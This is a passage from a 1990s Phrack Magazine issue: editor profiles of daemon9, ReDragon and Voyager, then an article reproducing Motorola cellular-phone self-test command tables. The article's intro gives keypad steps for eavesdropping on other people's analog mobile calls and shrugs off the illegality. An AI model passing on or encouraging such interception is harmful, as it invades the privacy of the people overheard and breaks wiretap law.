thing and work with it until a solution presents itself.
|
||
|
||
Intelligence, to me, is not what you know, or how much you know. It is
|
||
the ability to reason logically and rationally when the need arises and, if
|
||
pragmaticism is not the best approach, let intuition and chaos guide you.
|
||
Intelligence is adaptive and ever-changing... Memory capacity is too often
|
||
mistaken for smarts...
|
||
|
||
|
||
People I Know
|
||
~~~~~~~~~~~~~
|
||
|
||
Linenoiz: The reason I fell into the whole Internet scene to begin with.
|
||
Best friends for 12 years, I would not be where I am now
|
||
without him. He is one of the most intelligent people I know.
|
||
|
||
Nihil: The reason I fell into the whole hacking scene to begin with.
|
||
We have had our differences over the years, but our computing
|
||
interests are too similar to let petty squabbles come in the
|
||
way of our friendship. The other one of the most intelligent
|
||
people I know.
|
||
|
||
Mythrandir: I met Myth about 2 years on alt.2600. Sharp kid. Very sharp.
|
||
We think so alike on some things it's freaky. We'll get going
|
||
on that Tiger Team soon enuff, Jeff...!
|
||
|
||
Alhambra: Strong coder. We did the DemonKit for Linux (and are still
|
||
working on it..;)). Jeremy and I also have very similar
|
||
interests as far as hacking goes. I am glad he is here
|
||
with me in the Guild. I need more people like him. Not a
|
||
risky gambler, but hey, I took care of that for both of us...
|
||
|
||
Halflife: Coder supreme.
|
||
|
||
|
||
Shouts Out To
|
||
~~~~~~~~~~~~~
|
||
|
||
Brent, Carrie, ColdFire, Crow, Halflife, Heather, Jason, Jen, Kev,
|
||
Ka_mee, MikeP, Mudge, Shawn, SirSyko, Tim, Tom, Topher, Xanax, Vision
|
||
|
||
|
||
What I Have Done
|
||
~~~~~~~~~~~~~~~~
|
||
|
||
alt.2600
|
||
--------
|
||
It used to be that you could find me in that group like clockwork. I
|
||
was always there. Reading, posting, flaming, lurking. That was me. For
|
||
years. This is where most people probably first remember me from. I took
|
||
it upon myself to self-moderate and answer all the questions I could possibly
|
||
handle... I usually posted several times daily. At last count, I posted over
|
||
2100 times (according to ~/.tin/posted). I was prolific. I have fond memories
|
||
of back then... But, times have changed. That group has gone almost completely
|
||
to hell (AKA the way of #hack). Thesedays, it's a fucking miracle if I find a
|
||
worthwhile thread to follow-up to... These days, look for me on comp.security.*,
|
||
comp.protocols.tcpip, sci.crypt, alt.security.pgp and so on...
|
||
|
||
|
||
zines...
|
||
--------
|
||
Oh yeah, I wrote some code and a few rag-tag articles for some Zines
|
||
out there. Can't remember the names...
|
||
|
||
|
||
the Guild
|
||
---------
|
||
The Guild is my group of roudy Internauts. I started the group about
|
||
20 months ago for several reasons, some of which are just *now* becoming
|
||
clear to me. For a while there, we were putting out a zine, The Infinity
|
||
Concept, but that is on hiatus while I do Phrack. Various members have done
|
||
coding and exploits. Look for more to come from the Guild...
|
||
|
||
|
||
ftp.netcom.com/pub/da/daemon9
|
||
-----------------------------
|
||
Somewhere along the line about 2 years ago, I started to take
|
||
advantage of netcom's free 5 megs of ftp space. I put together a modest
|
||
collection of tools and whatnot (under 6 megs of stuff). For some yet
|
||
undiscovered reason, people flocked to the site. I have no clue why. It
|
||
wasn't *that* great. What I find even more fascinating is the fact that
|
||
to this day people *still* go looking there for hacking paraphenelia.
|
||
The site has been vacated for almost a year now. If you are reading this
|
||
and still have a link to my O-L-D netcom ftp site, UPDATE it to point to
|
||
ftp.infonexus.com. I am *much* more proud of this site... Hundreds of megs
|
||
of top-notch stuff here. Anyway, the netcom site went down because Brian
|
||
Smith (at the time the only member of the netcom security staff) told me I
|
||
couldn't have certian tools there for distro. When I ignored him, he froze
|
||
my account. This was the final catalyst in me deciding to start the
|
||
Information Nexus...
|
||
|
||
|
||
the Information Nexus
|
||
---------------------
|
||
Ah yes... The InfoNexus... My frustration with Netcom led me to do
|
||
what I had been wanting to do for some time, start my own site. This site
|
||
would be a Haven for hackers, a place where they could come and be sure to
|
||
find only the finest in technologies and tools. A place of much learning and
|
||
information trade. A knowledge dumping ground. Thus was born the Information
|
||
Nexus. With anywhere from 6-10 machines the Nexus is a heterogenous
|
||
environment: the OS's range from several Unix flavors, several versions of
|
||
Windows NT, and, of course, the mundane stuff (like DOS/WFW). The main box,
|
||
Onyx, is a heavily tweaked Linux machine. It is a P120 with 32MB RAM and 2
|
||
GIGs of HD space.
|
||
As it stands now, accounts are given on restricted basis, only to
|
||
friends and people I know (or people whose reputation precedes them). As soon
|
||
as I upgrade the link from a 28.8 modem I will start offering accounts to the
|
||
masses, at a nomial fee. I will also open up ftp access, allowing a greater
|
||
number of users at all hours.
|
||
|
||
|
||
The Infinity Concept
|
||
--------------------
|
||
TIC is the zine the Guild put out. Some of the noteworthy subjects
|
||
written on: Cryptography, Windows NT security, Unix security,the security
|
||
of PGP, and several coding projects... We have done 3 issues to date, but
|
||
I have stopped further production of the zine to devote my full attention to
|
||
Phrack magazine.
|
||
|
||
|
||
Phrack Magazine
|
||
---------------
|
||
Several months back, I hopped on IRC with some of my Guild-mates and
|
||
was having a wonderous discussion on, oh, nothing. Well, Voyager was on, and
|
||
he dragged me into a private chat. He told me about ErikB stepping down, and
|
||
told me he and ReDragon were to take over as the new editors... I was very
|
||
happy for him, and told him I would have jumped at the chance to do it. That
|
||
was his next question... Since then, ReDragon, Voyager and I have been
|
||
salivating like dogs waiting to get our hands on the legend that is Phrack
|
||
Magazine.
|
||
My pledge is twofold: Timely distribution and nothing but the highest
|
||
quality articles. We will be distributing Phrack on a regular seasonal
|
||
rotation and will weed out all but the top-notch articles. I plan to write
|
||
at least one article per issue. I promise this much: You will not be
|
||
disappointed...
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Prophile on ReDragon
|
||
|
||
|
||
Personal
|
||
~~~~~~~~
|
||
|
||
Handle: ReDragon
|
||
Call Him: Dave
|
||
Past Handles: Dr. Disk (circa '84), The Destroyer (circa '88)
|
||
Handle Origin: Thomas Harris Book, Saab insignia, D&Dish sort of
|
||
name, then I decided it would be cooler (and original)
|
||
if it was all one word and one D.
|
||
Date of Birth: 12/30/75
|
||
Age of current date: do the math yourself
|
||
Height: 5' 11"
|
||
Weight: 175
|
||
Eye Color: Green
|
||
Hair Color: Brown
|
||
Computers: Apple ][e, Atari 800, 8088, 386sx/16, 386dx/40, and
|
||
right now a 486/33
|
||
------------------------------------------------------------------------------
|
||
I got my Hayes Micromodem //e in the summer of '84. I was eight years old
|
||
and with the help of my babysitter begged my way onto an H/P board. I used
|
||
to read Phrack and write BASIC code, I was quite the clueless newbie for a
|
||
while. People say age doesn't matter, but it does when you are that young.
|
||
My lameness continued, I learned Pascal, the years passed, and I started to
|
||
figure out how things worked. I discovered Unix, it was cool. I learned
|
||
what Crack was, I used it. Years passed I started to figure out how things
|
||
worked. I would go into more detail but I don't really care to tell the
|
||
world about my life, ask me privately if you care.
|
||
|
||
|
||
ReD's Favorite Things
|
||
~~~~~~~~~~~~~~~~~~~~~
|
||
Women: yes
|
||
Cars: Saab
|
||
Foods: Taco Bell (doesn't everyone?), Young animals killed cruely
|
||
Music: Pink Floyd, Beatles, anything not techno
|
||
Leisure: IRC is bad for you, just say no.
|
||
Alcoholic Fun: Bottled beer, Jaegermeister, Long Island Iced Teas
|
||
|
||
|
||
Most Memorable Experiences
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
Saab car trouble in Queens on the way to HOPE.
|
||
Saab car trouble on PA Turnpike on way back from Pumpcon.
|
||
Saab stranded on George Washington Bridge on way to SummerCon '95.
|
||
Saab finally breaks down on NY Turnpike on way home.
|
||
SummerCon '95 (memorable that I don't remember any of it)
|
||
SummerCon '96 (the worst organized con I have ever been to)
|
||
|
||
|
||
Some People To Mention
|
||
~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
The Green Machine (for altering my life more than I can imagine)
|
||
Acker (even though you gave up on it all, wish I knew what you were doing now)
|
||
Bluesman (why didn't you tell me about C earlier?)
|
||
Zorgo (for ruining my life showing me IRC)
|
||
Wozz (I still don't believe you grew up there)
|
||
r00t (you're all a bunch of idiots, but i love you)
|
||
Asriel (we are pretty similar people, except I'm not a narq)
|
||
Max-Q (screaming at me "Nice Fuckin' Con!" after Summercon '96, I was touched)
|
||
Taran King (you were cool to me when I was nobody, I was impressed)
|
||
Sirsyko (only hacker I know that I actually trust)
|
||
ErikB (annoying him enough made for an interesting summercon and a new phrack)
|
||
l0pht (for bringing back what hacking is really about)
|
||
b (stuff?)
|
||
|
||
Why Phrack?
|
||
~~~~~~~~~~~
|
||
|
||
I have been in one way or another involved in the "hack scene" for more
|
||
than half my life. I spent a large part of that on the lower end of the
|
||
knowledge ladder, and throughout it all few people helped me along directly.
|
||
What I recognize though is that there have been scores of people that have
|
||
spent their time, at no personal gain to themselves, to help educate others
|
||
about something that they know a bit more about than the rest of us.
|
||
I read a lot of books to learn about hacking; I paid for them and the
|
||
authors have gotten the money they deserve. I learned quite a bit from
|
||
college; I paid quite a lot for college. But I have learned about hacking
|
||
most of all from hackers. How can I repay those that have given me so much?
|
||
We are rather fortunate to be in a position where we actually can give
|
||
something back to them. We can give them a new generation of hackers that
|
||
have the same opportunities to learn and to share their knowledge that we
|
||
had. We can show them that we haven't forgotten about where we started; we
|
||
haven't forgotten about why we are hackers; and we haven't forgotten that
|
||
to be a hacker is a passion, and it is something we are proud of.
|
||
To my peers, consider giving something back to the community. To the next
|
||
generation, learn from what we give and explore from what you learn; it will
|
||
soon be your turn to take our place. And to those that made this all possible,
|
||
to those that gave their own knowledge in the name of the community, the
|
||
hundreds of authors, the ten editors, and most of all the readers: Thank You.
|
||
|
||
-ReDragon
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
Prophile on Voyager
|
||
|
||
Personal
|
||
~~~~~~~~
|
||
Handle: Voyager
|
||
Call him: Will
|
||
Date of Birth: 06/23/69
|
||
Age: 27
|
||
Height: 6'
|
||
Weight: 200lb
|
||
Computers owned: 486DX4-100(FreeBSD), 486SX25(OS/2) and P-75 laptop(PC-DOS)
|
||
|
||
|
||
How did this handle originate? I jumped on IRC one day and didn't want
|
||
to use my real handle, so I made this one up on the spur of the moment.
|
||
|
||
|
||
How I Got Started
|
||
~~~~~~~~~~~~~~~~~
|
||
I didn't start hacking computers until I went to college. I taught
|
||
myself to use PRIMOS and I started hacking because the 150k disk quota I
|
||
was given wasn't large enough for me to compile decent sized programs.
|
||
|
||
I started hacking in '87 and didn't run into another hacker until '91.
|
||
I got Internet access and I found Phrack on ftp.eff.org. Wow! I
|
||
thought, these people are serious. Shortly thereafter, I compiled the
|
||
VMS client for IRC and I was talking to other hacker types on a regular
|
||
basis.
|
||
|
||
About that time, I put up a BBS. The system is now known as "Hacker's
|
||
Haven." The system has become fairly popular, with over 1,400 users
|
||
surviving the last 90 day purge.
|
||
|
||
In '92, I wrote a "bot" in the IRC scripting language and called it
|
||
"HackSrv." HackSrv distributed H/P files on demand and also opped all of
|
||
us regular #hack cronies.
|
||
|
||
Late in '92 I moved to Atlanta and started organizing 2600 Meetings. We
|
||
had a blast. We held them at my apartment. I can't imagine what my
|
||
neighbors thought. I still remember 40 people in my tiny living room
|
||
huddled around the TV watching sneakers. One week, we were hacking on
|
||
one terminal, IRC'ing on another, watching a lockpicking demo on the
|
||
front door, sorting trash on the balcony, having firearms instruction in
|
||
the bedroom, and setting off bottle rockets from the kitchen to the
|
||
living room. The last is not a good idea, by the way.
|
||
|
||
Over the course of the next few years, #hack went completely to hell.
|
||
The place became littered with clueless newbies asking clueless newbie
|
||
questions. Other people, usually even less clueful newbies, would kick
|
||
and ban people for asking questions. This effectively stopped all useful
|
||
conversation on #hack, as anyone who brought up a technical topic was
|
||
likely to be kicked immediately. This led to a group of #hack ChanOp's
|
||
who had absolutely no technical knowledge and instead wasted away the
|
||
hours stroking their egos. I was annoyed by the incredible cluelessness
|
||
that had taken over the once fine channel and decided to do something
|
||
about it.
|
||
|
||
Towards that end, I wrote the #hack FAQ. The #hack FAQ was to be given
|
||
to new people to bring them up to speed in a short amount of time. This,
|
||
I reasoned, would raise the intellectual level on conversation on #hack.
|
||
It would also set the tone for conversation on #hack back to the technical
|
||
atmosphere I had known just a few years earlier. Later, the #hack FAQ
|
||
became the alt.2600/#hack FAQ and it's purpose was expanded to cover
|
||
the newsgroup alt.2600.
|
||
|
||
In the Summer of '94 I moved to Denver and joined up with TNO. TNO is a
|
||
group of friends who share an avid interest in computer and telephone
|
||
security. Today, TNO consists of Cavalier, DisordeR, Major, Edison and
|
||
myself.
|
||
|
||
Over the last few years, I've written for Phrack, 2600, CoTNo and FUCK.
|
||
I've wanted to be Phrack editor since Taran King retired. When ErikB
|
||
told me he was looking to retire from the job, and that I was being
|
||
considered as the next Phrack editor, it hit me just how big of a
|
||
responsibility this was. I spoke with ReDragon (Editor of FEH) and
|
||
daemon9 (Editor of The Infinity Concept). Together, we agreed to set
|
||
aside our current e-zine's (I was the current Editor of CoTNo) and focus
|
||
all of our attention on Phrack. We have received offers of support from
|
||
many old and new people in the hacking community. I am looking forward
|
||
to a bright future for Phrack.
|
||
|
||
|
||
Interests
|
||
~~~~~~~~~
|
||
Women: Sharp and quick
|
||
Cars: Big and fast
|
||
Food: Spicy to the point of pain
|
||
Music: Rock and Roll
|
||
Favorite performers: Jimmy Buffett, The Eagles
|
||
Favorite author: Joel Rosenberg
|
||
Favorite Book: Unix Power Tools
|
||
|
||
|
||
Most Memorable Experiences
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
KL kicking me off #hack for saying that hacking was wrong.
|
||
|
||
Captain Hemp hiding my address and phone number in a bag of trash.
|
||
|
||
Reading my first sniffer log.
|
||
|
||
Getting arrested with Captain Hemp outside of a Southern Bell facility.
|
||
|
||
Finding the switch with the unpassworded root account.
|
||
|
||
Being pulled over on the way to HoHoCon while we were moshing in the
|
||
van.
|
||
|
||
DeadKat and Cavalier doing the root dance.
|
||
|
||
Being followed by the security guard with the baby seat.
|
||
|
||
Major and I *not* getting mugged and beaten by the gang of thieves, even
|
||
though he could barely stand up and neither of us were carrying at the
|
||
time.
|
||
|
||
|
||
Some People To Mention
|
||
~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
Major : You are, at the same time, one of the best people I have
|
||
ever known and one of the worst people I have ever
|
||
known. I am just glad I am on your side, and you mine.
|
||
I trust you with my life, and with a few of the
|
||
situations we've been through, that's not just talking.
|
||
|
||
Cavalier : You taught us all what was important in a group. Your
|
||
steadiness and common sense has helped carry TNO through
|
||
the dark times. As always, I'm glad to have you here.
|
||
You can always be counted on, and that means a great
|
||
deal to me.
|
||
|
||
The Presence : It is always a pleasure to talk to you. You have taught
|
||
me more than anyone else in the scene. You will always
|
||
be one of the best. The strength of your ethics will
|
||
guide you through where lesser men would fail.
|
||
|
||
Captain Hemp : There's no one I'd rather be arrested with.
|
||
|
||
NoCar / K : Congratulations on your new system!
|
||
|
||
|
||
The Final Question
|
||
~~~~~~~~~~~~~~~~~~
|
||
I have met quite a few hackers. Very few have been "geeks" in the
|
||
traditional sense of the term. I have met hacker business people,
|
||
hacker jocks, hacker criminals, hacker stoners, hacker programmers, and
|
||
hacker skater punks. It's a sport for just about anyone with
|
||
intelligence, dedication, and absolutely no respect for authority.
|
||
|
||
_______________________________________________________________________________
|
||
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 6 of 18
|
||
|
||
|
||
Motorola Command Mode Information
|
||
|
||
Written and typed up by Cherokee
|
||
|
||
|
||
|
||
NOTE: The following text is only a few pages from an official Motorola
|
||
handbook that I received, thanks to Ob1.
|
||
|
||
THIS IS NOT A COMPLETE HANDBOOK
|
||
|
||
but it is very useful as a guide to learning how to use the self
|
||
test instructions on the Motorola series of cellular phones.
|
||
|
||
To actually enter the self test modes, THERE ARE SEVERAL STAGES
|
||
BEFORE HAND THAT NEED TO BE DONE. They depend upon what type of
|
||
Motorola mobile phone you possess. To my knowledge, the self test
|
||
mode instructions are the same on every Motorola phone, the only
|
||
difference will be how you enter the test mode. That I leave up to
|
||
you to find out as there are lots of help files already out there,
|
||
unless, there is a great demand for it.
|
||
|
||
I will now show you how easy it is to use the test mode to your
|
||
advantage.
|
||
|
||
Say, your the average peeping Tom or Sally (what hacker isn't?),
|
||
this is how to listen in on other peoples mobile conversations.
|
||
|
||
1.Enter the test mode.
|
||
2.Turn the speaker on (08#) also called un-muting the receive audio.
|
||
3.Tune into a channel(11xxxx#) (where x can range from 0 to
|
||
600[TACS] and 1329 to 2047[ETACS].)... Although I'm not 100% sure
|
||
of the channel mapping, (theres conversations in the range between
|
||
600 to 1329), you'd do best to stick to playing around with these.
|
||
|
||
You may have to try several different channels, to pick up a
|
||
conversation, not every channel is occupied with a user. I
|
||
suggest you try 0 to 50, this is almost guaranteed to give you a
|
||
result. BTW, it is actually illegal to monitor mobile
|
||
communications without the consent of both parties, but hey, whose
|
||
going to know? :-)
|
||
|
||
Displaying information - Some handsets only allow display 1 line,
|
||
and therefore you wont be able to see all of the information being
|
||
sent to you. There are 2 ways around this. 1. Is to go and get a
|
||
handset which can display 2 lines of information. 2. to send the
|
||
data to your computer to display on the screen, apparently the
|
||
data is sent and received in an unfamiliar packet format, and will
|
||
need to be decoded.
|
||
|
||
FINAL NOTE:
|
||
There are several conflicting sources for some commands, this is
|
||
because of different versions of the ROM, so I'm putting all of
|
||
the test codes bundled together in this file, and will update the
|
||
list if there are any significant changes, or I find out about a
|
||
new command in a later ROM version.
|
||
|
||
Just one last final note to say hi to Davex[thanks for the NAM
|
||
guide], Ratscabies, Maelstrom, Hi.T.Moonweed and Ob1.
|
||
|
||
----------------------------------------------------------------------------
|
||
|
||
Motorola Self Test Mode Instructions
|
||
------------------------------------
|
||
|
||
|
||
1. INTRODUCTION
|
||
|
||
Portable radio telephones are equipped for self-test, allowing service
|
||
personnel to control and monitor radiotelephone functions via the
|
||
telephone keypad. The self-test mode operates at two levels:
|
||
|
||
1) a status display level, which allows the portable telephone to
|
||
operate normally while providing status indications in the display and;
|
||
|
||
2) the service level, which removes the portable telephone from normal
|
||
service and allows commands to be entered through the keypad to
|
||
'manually' control the operation of the radiotelephone.
|
||
|
||
2. OPERATING PROCEDURES
|
||
|
||
2.1 STATUS DISPLAY LEVEL OF SELF-TEST
|
||
|
||
This level of self-test is entered by momentarily shorting pin 6 of J2
|
||
to ground, while turning the radiotelephone on. The self-test mode can
|
||
also be entered using the portable radiotelephone test kit (RTL4228A and
|
||
RTL4229A).
|
||
|
||
In this level of self-test mode the radiotelephone will place and
|
||
receive calls as normal except the radiotelephone displays status
|
||
information. The displayed status information alternates between the
|
||
channel number and RSSI status information, and the primary status
|
||
information (SAT frequency, carrier state, signaling tone state, power
|
||
level, voice/data channel mode, and Rx and Tx audio states). The format
|
||
and explanation of this status information is given in Table 1 under 02#
|
||
Radio Status Request.
|
||
|
||
When dialing a phone number, the display of the status in formation
|
||
ceases when the first digit of the phone number is entered. When the
|
||
Snd button (or End or Clr) is pressed, the status information display
|
||
resumes.
|
||
|
||
2.2 SERVICING LEVEL OF SELF-TEST
|
||
|
||
|-----------------------------------------------------------
|
||
| NOTE
|
||
|-----------------------------------------------------------
|
||
| While in the servicing level mode of self-test, the
|
||
| display does not alternate. Only the primary status
|
||
| information is displayed.
|
||
|-----------------------------------------------------------
|
||
|
||
The servicing level allows the servicing personnel to take control of
|
||
the radio operation by entering the test commands through the telephone
|
||
keypad. Such parameters as operating channel, output power level
|
||
muting, and data transmission can all be selected by entering the
|
||
corresponding commands. The servicing level is entered from the status
|
||
display level by pressing the (#) button. At this time the radio
|
||
telephones cease to function automatically in the radiotelephone system.
|
||
Table 1 shows the test commands and the corresponding results.
|
||
|
||
|
||
INTERNATIONAL CELLULAR PORTABLE
|
||
|
||
Table 1. Test Commands For Self-Test Mode
|
||
|
||
|---------------------------------------------------------------------------
|
||
| NOTES:
|
||
| 1. Each command consists of at least two digits entered from the telephone
|
||
| keypad with the entry terminated using the (#) key.
|
||
| 2. If the command relates to a test function with multiple data displays,
|
||
| the (#) key is used to pause at scanning data or to step through
|
||
| sequential test functions. Entering the (#) key during a pause time
|
||
| resumes scanning.
|
||
| 3. For commands that initiate an action that requires a response or that
|
||
| accumulates error counts, the (#) key terminates the test.
|
||
|---------------------------------------------------------------------------
|
||
|Keypad Entry | Command Description | Status | Result
|
||
| | | Display |
|
||
|-------------|-------------------------------------------------------------
|
||
| # |Enter Test Command | |
|
||
| |Mode | |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 01# |Restart (Re-enter DC | |
|
||
| |power startup routine| |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 02# |Radio Status Request | AAAA=BB | AAAA=Channel Number(decimal)
|
||
| | | | BB=RSSI reading for channel
|
||
| | | CDEFGHI | C=SAT Frequency
|
||
| | | | 0=5970 Hz
|
||
| | | | 1=6000 Hz
|
||
| | | | 2=6030 Hz
|
||
| | | | 3=No Lock
|
||
| | | | D=Carrier(1=ON)
|
||
| | | | E=Signaling Tone(1=ON)
|
||
| | | | F=Power Attention Level(0-7)
|
||
| | | | G=Mode(1=control channel
|
||
| | | | 0=voice channel
|
||
| | | | H=Receive Audio Mute(1=muted)
|
||
| | | | I=Transmit Audio Mute(1=muted)
|
||
| | | | When the radiotelephone is
|
||
| | | | operating in the status display
|
||
| | | | level of self-test, the
|
||
| | | | information that is displayed
|
||
| | | | alternates between AAAA BB
|
||
| | | | and CDEFGHI. In the servicing
|
||
| | | | level of self-test, only the
|
||
| | | | information designated by
|
||
| | | | CDEFGHI is displayed.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 03# | (NOT USED) | |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 04# | Initialize | | Carrier=OFF
|
||
| | Transceiver | | Power Level=0
|
||
| | | | Receive Audio=MUTED
|
||
| | | | Transmit Audio=MUTED
|
||
| | | | Signaling Tone=OFF
|
||
| | | | SAT=OFF
|
||
| | | | DTMF & Audio Tones=OFF
|
||
| | | | Audio Path=TO SPEAKER
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 05# | Carrier On | | Turn carrier on
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 06# | Carrier Off | | Turn carrier off
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| NOTE: Use the PATH command (35A#) to select the audio path to test before
|
||
| using commands 07# through 10#.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 07# | Rx Mute | | Mute the receive audio
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 08# | Rx Un-mute | | Un-mute the receive audio
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 09# | Tx Mute | | Mute the transmit audio
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 10# | Tx Un-mute | | Un-mute the transmit audio
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 11ABCD# | Load Synth | | Load synthesizer with ABCD
|
||
| | | | where ABCD = channel number
|
||
| | | | in decimal (1329-2047, 0-600)
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 12# | Set ATTN | | Set RF power attention to A
|
||
| | | | where A=attention level(0-7;
|
||
| | | | 0=maximum power)
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 13# | RESET OFF | | This command should cause the
|
||
| | | | Logic Unit to set WATCH DOG
|
||
| | | | low and result in power-down
|
||
| | | | of the radiotelephone.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 14# | STON | | Transmit signaling tone 10khz
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 15# | STOFF | | Stop transmitting signaling
|
||
| | | | tone 10khz
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 16# | SETUP | | Transmit a five word reverse
|
||
| | | | control channel message; each
|
||
| | | | of the five words will be
|
||
| | | | "FF00AA55CC33". The trans-
|
||
| | | | mitter de-keys at end of
|
||
| | | | message
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 17# | VOICE | | Transmit a two word reverse
|
||
| | | | voice channel message; both
|
||
| | | | words will be "FF00AA55CC33".
|
||
| | | | The transmitter de-keys at end
|
||
| | | | of message.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 18# | SEND NAM | | AA = Address BB = Data
|
||
| | | | Displays contents of NAM, one
|
||
| | | | address at a time, advanced
|
||
| | | | by pressing the (*) key.
|
||
| | | | Note the address goes up to 1f
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 19# | VERSION | | Displays software version
|
||
| | | | number as "year, week"
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| NOTE: Entering commands 20# through 23# or 27# causes the transceiver to
|
||
| begin a counting sequence or continuous transmission as described below.
|
||
| In order to exit from the commands to enter another test command, the (#)
|
||
| key must be depressed; all other key depressions are ineffectual.
|
||
|---------------------------------------------------------------------------
|
||
| 20# | RCVS 1 | | Receive control channel
|
||
| | | | messages counting correctable
|
||
| | | | and uncorrectable errors.
|
||
| | | | When the command starts, the
|
||
| | | | number of the command will be
|
||
| | | | displayed in the right hand
|
||
| | | | side of the display. Entering
|
||
| | | | a # key will terminate the
|
||
| | | | command and display a two
|
||
| | | | three digit number in the
|
||
| | | | display. The first number
|
||
| | | | is the number of correctable
|
||
| | | | errors and the second is the
|
||
| | | | uncorrectable errors.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 21# | RCVV 1 | | Receive voice channel
|
||
| | | | messages counting correctable
|
||
| | | | and uncorrectable errors.
|
||
| | | | When the command starts, the
|
||
| | | | number of the command will be
|
||
| | | | displayed in the right hand
|
||
| | | | side of the display. Entering
|
||
| | | | a # key will terminate the
|
||
| | | | command and display a two
|
||
| | | | three digit number in the
|
||
| | | | display. The first number
|
||
| | | | is the number of correctable
|
||
| | | | errors and the second is the
|
||
| | | | uncorrectable errors.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 22# | WSTS | | Receive control channel
|
||
| | | | messages counting word sync
|
||
| | | | sequence. When the command
|
||
| | | | starts, the number of the
|
||
| | | | command will be displayed in
|
||
| | | | the right side of the display.
|
||
| | | | Entering a # key will
|
||
| | | | terminate the command and
|
||
| | | | display the number of word
|
||
| | | | sync sequences in the display.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 23# | WSTV | | Receive voice channel
|
||
| | | | messages counting word sync
|
||
| | | | sequence. When the command
|
||
| | | | starts, the number of the
|
||
| | | | command will be displayed in
|
||
| | | | the right side of the display.
|
||
| | | | Entering a # key will
|
||
| | | | terminate the command and
|
||
| | | | display the number of word
|
||
| | | | sync sequences in the display.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 24# | (NOT USED) | |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 25A# | SATON | | Enable the transmission of
|
||
| | | | SAT where A = SAT frequency.
|
||
| | | | See chart below.
|
||
| | | | A SAT Freq.
|
||
| | | | 0 5970 Hz
|
||
| | | | 1 6000 Hz
|
||
| | | | 2 6030 Hz
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 26# | SATOFF | | Disable the transmission of
|
||
| | | | SAT.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 27# | TRANSMIT DATA | | TX continuous control channel
|
||
| | | | data.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 32# | CLEAR | | Clears non-volatile memory.
|
||
| | | | Clears all stored numbers.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 33# | DTMF | | Turn DTMF on.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 34# | DTMF | | Turn DTMF off.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 35# | DISPLAY RSSI | | 'D' series portable only.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 35A# | SET AUDIO PATH | | Where A = the following...
|
||
| | | | 1 = Speaker
|
||
| | | | 2 = Microphone
|
||
| | | | 3 = Earpiece
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 38# | DISPLAY ESN | | Displays ESN in four steps,
|
||
| | | | hit * till back at start.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 41# | (NOT USED) | | Enables diversity.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 42# | (NOT USED) | | Disables diversity.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 43# | (NOT USED) | | Disables diversity.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 44# | (NOT USED) | | Disables diversity.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 45# | READ RSSI | | Returns the RSSI reading
|
||
| | | | taken on the current channel.
|
||
| | | | The number is displayed as a
|
||
| | | | three digit decimal number.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 46# | (NOT USED) | |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 47A# | AUDLEV | | Set audio level where A=level
|
||
| | | | (0=lowest, 15=highest). The
|
||
| | | | normal level is 2.
|
||
| | | | NOTE: Use 8 to 12 only for
|
||
| | | | DTMF applications.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 48# | SIDETONE ON | | Enable sidetone(Command 05#
|
||
| | | | must also be executed.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 49# | SIDETONE OFF | | Disable sidetone(Command 06#
|
||
| | | | must also be executed.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 50# | MAINN | | Not normally used. Tests data
|
||
| | | | transmission/reception with
|
||
| | | | transmit path connected
|
||
| | | | externally to receive path.
|
||
| | | | Maintenance data is trans-
|
||
| | | | mitted and test results
|
||
| | | | displayed:
|
||
| | | | PASS= received data is correct
|
||
| | | | FAIL=2-second timeout, no data
|
||
| | | | received, or received data is
|
||
| | | | incorrect.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 51# | MAINL | | Tests data paths internal to
|
||
| | | | the logic unit, where
|
||
| | | | maintenance data is trans-
|
||
| | | | mitted and looped back.
|
||
| | | | Display is as follows:
|
||
| | | | PASS= received data is correct
|
